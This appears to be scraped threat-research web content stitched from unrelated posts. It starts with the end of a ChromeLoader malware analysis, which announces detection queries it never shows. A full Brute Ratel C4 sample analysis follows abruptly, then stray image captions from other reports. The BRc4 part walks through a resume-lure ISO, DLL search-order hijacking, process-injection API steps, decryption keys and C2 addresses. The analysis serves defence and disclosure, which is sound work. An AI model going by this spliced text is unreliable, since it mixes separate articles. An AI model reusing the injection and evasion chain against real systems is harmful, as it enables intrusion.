Using this tool, the programmer can write short, easy-to-understand scripts using the AHK syntax. Then, by the programmer’s definitions, the framework creates matching hooks that will cause the execution of these scripts.
When transforming AHK scripts into Windows executables, the original script source code is pasted into the end of the executable, making the investigation process for the researcher much more effortless compared to the other variants, which used heavy obfuscation. In this case, the hardcoded script contained the following source code, which looks quite similar to the PowerShell droppers we already analyzed:
Figure 39. An example of the AutoHotKey script content.
In short, this dropper downloads a payload from its installation server. We can assume that this payload is another browser extension by the variable name used for the downloaded payload (Extension_Name).
After a more thorough investigation, we found the downloaded extension. Unsurprisingly, it also contained features related to the ChromeLoader malware family – but more importantly, it was labeled version 1.0 (!)
These extensions were quite similar to the rest of the extensions related to this family, with one main difference – this time, the extension was not obfuscated. It even contained some of the author’s comments regarding different code sections.
Figure 40. An example of the extension downloaded by this variant, without any changes from our side.
Conclusion
This blog documents different examples of a new malware family, ChromeLoader, spread using malicious advertisements. This malware demonstrates how determined cybercriminals and malware authors can be: In a short time period, the authors of ChromeLoader released multiple different code versions, used multiple programming frameworks, enhanced features, advanced obfuscators, fixed issues, and even adding cross-OS support targeting both Windows and MacOS.
This malware is used for hijacking victims’ browser searches and presenting advertisements – two actions that do not cause serious damage or leak highly sensitive data. However, based on the wide distribution the attackers gained in such a short time, they were able to inflict heavier damage than the damage inflicted by the two primary functions of the Chrome Extension.
Additionally, the authors were quite organized, labeling their different malware versions and using similar techniques throughout their attack routines. This probably made their lives easier while developing their attack framework and maintaining their attack chains, but unintentionally, this also made the investigation process significantly easier. In fact, it improved the research ability so much that we were able to detect two new versions of this malware – the first one and the latest, which have never been linked to this malware family before.
Finally, this attack chain demonstrates two rising trends among malware authors that security products and even common users should be aware of – the use of ISO (and DMG) files and the use of browser extensions.
Product Coverage
Palo Alto Networks customers using Cortex XDR Prevent or and Pro receive protections from such campaigns in different layers, including the Local Analysis Machine Learning module, Behavioral Threat Protection, BIOC and Analytics BIOCs rules that identify the tactics and techniques that ChromeLoader uses at different stages of its execution.
Most rules are not customized for ChromeLoader and are based on unusual, rare behaviors – and therefore provide protection against many additional malware families and campaigns that use the same methods.
The following rules provide behavioral detections and preventions that block this malware at different stages for Cortex XDR customers:
Rule Name
Description
Power Empire - 2280642765
Power Empire post-exploitation framework
PowerShell Activity - 83290630
Suspicious PowerShell activity
PowerShell Activity - 1683698903
Suspicious PowerShell activity
PowerShell Activity - 1038764491
Suspicious PowerShell activity
PowerShell Activity - 2677692363
Suspicious PowerShell activity
Suspicious Scheduled Task Installed - 161058768
Potential malware granted persistency via scheduled task
Suspicious File Dropped - 1664970582
Potential malware dropped a suspicious payload executable
Suspicious File Dropped - 1833473256
Potential malware dropped a suspicious payload executable
Suspicious Chromium Extension - 4043645859
Potential malware tries to load malicious extension to victim's browser
Staged Malware Activity - 2903131508
Activity similar to ChromeLoader malware
Staged Malware Activity - 4059467241
Activity similar to ChromeLoader malware
In addition, you can use the following XQL queries to detect ChromeLoader variants during their different execution stages.
Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics. On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it. Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.
The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market. While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated. Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.
In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443. Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.” Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.
This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications. Specifically, this sample was packaged as a self-contained ISO. Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater. Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking. However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.
Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques. This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.
We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.
Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020. At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India. According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors. Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.
In January 2022, Nayak left his day job in order to pursue full-time development and training workshops. That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”
Figure 1. Checkmate release notes.
However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”
Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.
BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.” On May 16, Nayak announced that the tool had gained 480 users across 350 customers.
The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal. With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.
Figure 3. BRc4 licensing and cost.In terms of features, BRc4 advertises the following capabilities:
SMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more.
Built-in debugger To detect EDR userland hooks.
Ability to keep memory artifacts hidden from EDRs and AV.
Direct Windows SYS calls on the fly.
Egress over HTTP, HTTPS, DNS Over HTTPS, SMB and TCP.
LDAP Sentinel provides a rich GUI interface to query various LDAP queries to the domain or a forest.
Multiple command and control channels – multiple pivot options such as SMB, TCP, WMI, WinRM and managing remote services over RPC.
Take screenshots.
x64 shellcode loader.
Reflective and object file loader.
Decoding KRB5 ticket and converting it to hashcat.
Patching Event Tracing for Windows (ETW).
Patching Anti Malware Scan Interface (AMSI).
Create Windows system services.
Upload and download files.
Create files via CreateFileTransacted.
Port scan.
From Click to Brute
Figure 4. VirusTotal verdicts for sample as of June 27, 2022.
The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan. It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka. The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD/DVD. The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive. Finally, the archived files of the ISO are displayed to the user. In this case, when the ISO is double-clicked, a user is presented with the following:
Figure 5. Viewing ISO image.
As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word. From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.
If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine.
By default, on Windows operating systems, hidden files are not displayed to the user. In Figure 6, there are four hidden files concealed from view. If the display of hidden files is enabled, the user sees the following:
Figure 6. Viewing ISO image with “show hidden files” enabled.
The lure file, the one visible to the user, is a Windows shortcut file (LNK) with the following properties:
Figure 7. Roshan-Bandara_CV_Dialog properties.
Microsoft shortcut files, those with a .lnk file extension, contain enriched metadata that can be used to provide artifacts about the file. Some key artifacts of this file are:
Link CLSID: 20D04FE0-3AEA-1069-A2D8-08002B30309D
The CLSID used here isn’t the normal CLSID for LNK files, as this CLSID is associated with the Control Panel (always Icons view).
Command line arguments: %windir%/system32/cmd.exe /c start OneDriveUpdater.exe
When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:
cmd.exe is launched with the parameters of:
/c start OneDriveUpdater.exe. The /c parameter instructs cmd.exe to launch OneDriveUpdater.exe via Windows start command from the current working directory and exit.
OneDriveUpdater.exe is a digitally signed binary by Microsoft that is used to synchronize data from a local machine to the cloud. It is not malicious and is being abused to load the actor’s DLL. Once OneDriveUpdater.exe is executed, the following actions occur:
Since Version.dll is a dependency DLL of OneDriveUpdater.exe and exists in the same directory as OneDriveUpdater.exe, it will be loaded.
Version.dll has been modified by the actors to load an encrypted payload file, OneDrive.update. The modification decrypts the file and in-memory loads the first stage of shellcode. To maintain code capabilities, the actors use DLL API proxying to forward requests to the legitimate version.dll named vresion.dll. Vresion.dll is a dependency file of the actor’s version.dll and will be loaded with the actor’s version.dll.
The in-memory code, that is Brute Ratel C4, executes as a Windows thread in the RuntimeBroker.exe process space and begins to communicate with IP 174.129.157[.]251 on TCP port 443.
Figure 8 below gives an overview of how this process would look.
Figure 8. Execution flow when double-clicking Roshan-Bandara_CV_Dialog
Packaging of Roshan_CV.ISO
The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft. The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).
Table 1. Package deployment comparison to known APT29 sample.
The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked. Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked. In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.
Figure 9. Side-by-Side comparison of mounted ISO images. "Show hidden files" is not enabled.
Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.
Figure 10. Side-by-Side comparison of mounted ISO images. "Show hidden files" is enabled.
The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.
While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.
Modification of Version.dll
Version.dll is a modified version of a legitimate Microsoft file written in C++. The implanted code is used to load and decrypt an encrypted payload file. The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.
In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll. Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll. Because of this, the actor’s version.dll will load vresion.dll as a dependency file.
The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:
Enumerate all processes and locate the process ID (PID) for Runtimebroker.exe.
Read the payload file OneDrive.Update from the current working directory.
Call the Windows API ntdll ZwOpenProcess using the process ID from step 1. The process is opened with full control access.
Decrypt the payload file using the XOR encryption algorithm with a 28-byte key of: jikoewarfkmzsdlhfnuiwaejrpaw
Call the Windows API NtCreateSection, which creates a block of memory that can be shared between processes. This API is used to share memory with Runtimebroker.exe and Version.dll.
Two calls into the Windows API NtMapViewOfSection. The first call maps the contents of the decrypted payload into the current process memory space, and the second call maps the contents into the Runtimebroker.exe memory space.
Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.
Call the Windows API NtCreateThreadEx. This API starts a new thread with the start address of the memory copied to Runtimebroker.exe.
Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.
Finished.
The technique outlined above uses process injection via undocumented Windows NTAPI calls. The decrypted payload is now running within the runtimebroker.exe memory space. The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.
Figure 11. Version.dll calling NtCreateThreadEx.
X64 Shellcode – Decrypted OneDrive.Update
The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself. The assembly instructions involve multiple push and mov instructions. The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header. Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning. The entry point of the decrypted payload is the following:
Figure 12. Version.dll entry point of decrypted payload.
The unpacking involves 25,772 push and 25,769 mov instructions. When finished, the code performs the following.
Using API hashing (ROR13 – rotate right 13) looks up the hash for NtAllocateVirtualMemory. All API calls are made via API hash lookups.
Resolves the system call index from the System Service Dispatch Table (SSDT) for NtAllocateVirtualMemory. All Windows API functions are made via syscalls, which is a feature of Brute Ratel C4 (Syscall Everything).
Calls the Windows API NtAllocateVirtualMemory, allocating 0x3000 bytes of memory.
Makes a second Windows API call into NtAllocateVirtualMemory, which allocates memory for the configuration file used by Brute Ratel C4.
Copies the shellcode that was pushed onto the stack in the previous steps to the newly allocated memory segment.
Changes the protection of the newly allocated memory block using Windows API call NtProtectVirtualMemory.
Calls NtCreateThreadEx with the start address of the newly allocated memory and passes the configuration data as a parameter.
Finished.
The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.
Figure 13. Calling second layer of shellcode.
The configuration data is passed as a parameter to the start address of the new thread. This data includes the encrypted configuration settings for Brute Ratel C4. The encrypted contents are the following:
Figure 14. BRc4 encrypted configuration.
The data is base64-encoded and RC4-encrypted. The 16-byte RC4 decryption key is: bYXJm/3#M?:XyMBF
The decrypted configuration file is:
Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.
Target Network Infrastructure
The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:
Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.
Figure 15. BRc4 HTTP POST.
Identifying OneDrive.Update
To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov. These instructions are used to build the second layer of shellcode. Searching across VirusTotal, we found a second sample with the same push and mov instructions:
Initially, what stood out to us was the filename containing the word “badger.” According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access. When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious. Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.
Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:
Figure 16. Comparison of OneDrive.Update and badger_x64.exe
When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4). Example of badger_x64.exe:
Figure 17. badger_x64.exe calling shellcode.
Like the OneDrive.Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4. In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear. The following is the configuration used for this sample:
In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.
Based on the following, we can conclude that OneDrive.Update is indeed associated with Brute Ratel C4.
The configuration file structure is the same and uses pipes to delineate fields.
Same Windows calling pattern used to run the second-stage shellcode via NtCreateThreadEx/CreateThread.
Function instruction match for copying shellcode to memory allocation.
Both samples of second-stage shellcode have the following strings referencing the word “badger.” Note: The OneDrive.Update sample RC4 encrypts these strings.
imp_Badger
BadgerDispatch
BadgerDispatchW
BadgerStrlen
BadgerWcslen
BadgerMemcpy
BadgerMemset
BadgerStrcmp
BadgerWcscmp
BadgerAtoi
The Badger* names match the export names listed on the BRc4 GitHub website.
The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.
Badger_x64.exe Employment
After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.
VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022. Coincidentally, this happens to be one day after the Roshan_CV.ISO file was uploaded.
As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443. Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above. Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.
Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105). We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure. A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445. This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.
Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico. Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.
Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.
Other Samples and Infrastructure
Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses. These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers. Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.
Protections and Mitigations
For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
Threat Prevention provides protection against Brute Ratel C4. The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.
Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.
WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.
Conclusion
The emergence of a new penetration testing and adversary emulation capability is significant. Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.
Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base. As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.
The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability. We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft. This impersonation does not imply a vulnerability in Microsoft’s products or services.
![Text of BlueSky ransom note: "BlueSky: Your important files, documents, photos, videos, databases have been encrypted! The only way to decrypt and restore your files is with our private key and program. Any attempts to restore your files manually will damage your files. To restore your files follow these instructions: 1. Download and install Tor Browser. 2. Run Tor Browser. 3. In the Tor Browser open website [threat actor URL] 4. On the website enter your recovery ID [redacted] 5. Follow the instructions on the website.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/08/word-image-9.jpeg)
![Ticket encoding decompiled example. The naming convention output for the tool can be broken into the following sections: [user@servername]_[encryption_type].[ticket_number].kirbi](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/08/word-image-17.png)
![The function then returns, and then ROMCOM binds to 127.0.0[.]2:5555, where it will wait for a connection and forward any data received from that connection to its C2 server.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/08/word-image-24.png)
![Setting up local socket server. Comments highlight the startWorker export and 127[.]0[.]0[.]3](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/08/word-image-25.png)
![The infographic traces stage 1 payload delivery, stage 1 execution and stage 2 payload delivery. Steps: 1. Spear phishing email sent: agenda.pdf, 2. Beacon to EnvyScout malicious HTML: agenda.html, 3. Malicious ISO returned to victim: agenda.iso, 4. Shortcut file executed: information.lnk, 5. New process started: agenda.exe, 6. First malicious DLL loaded: vcuruntime140.dll, 7. Second malicious DLL loaded: vctool140.dll, 8. Stage 1 payload decompressed (file named "_"), 9. user information uploaded to Google Drive share, 10. Stage 2 payload returned to user: Cobalt Strike, 11. Command and control (C2) comms established with crossfity[.]com](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/07/word-image-91.png)
![Campaign 1 overview. The infographic covers stage 1 payload delivery, stage 1 execution and stage 2 payload delivery. Steps: 1. Spear phishing email sent: agenda.pdf, 2. Beacon to DropBox account: dhueerinrg9k97k for agenda.html EnvyScout, 3, malicious ISO returned to user: agenda.iso, 4. shortcut file executed: agenda.lnk, 5. new process started: agenda.exe, 6. first malicious DLL loaded: vcruntime140.dll, 7. second malicious dll loaded: vctool140.dll, 8. stage 1 payload decompressed (file named "_"), 9. user information uploaded to Google Drive share, 10. stage 2 encrypted payload returned to user: Cobalt Strike, 11. command and control (C2) comms established with techspaceinfo[.]com](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/07/word-image-104.png)
![Brute Ratel Licensing and Cost - Includes documentation, email/discord support, bug fixes and updates for all new features till the license expires. License Cost: $2500 per user. Inclusive of taxes (GST extra wherever applies) 1 year license. Request Demo at [email address]. License Renewal: $2250 per user, inclusive of taxes, etc.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/07/word-image-2.png)
Get updates from Unit 42 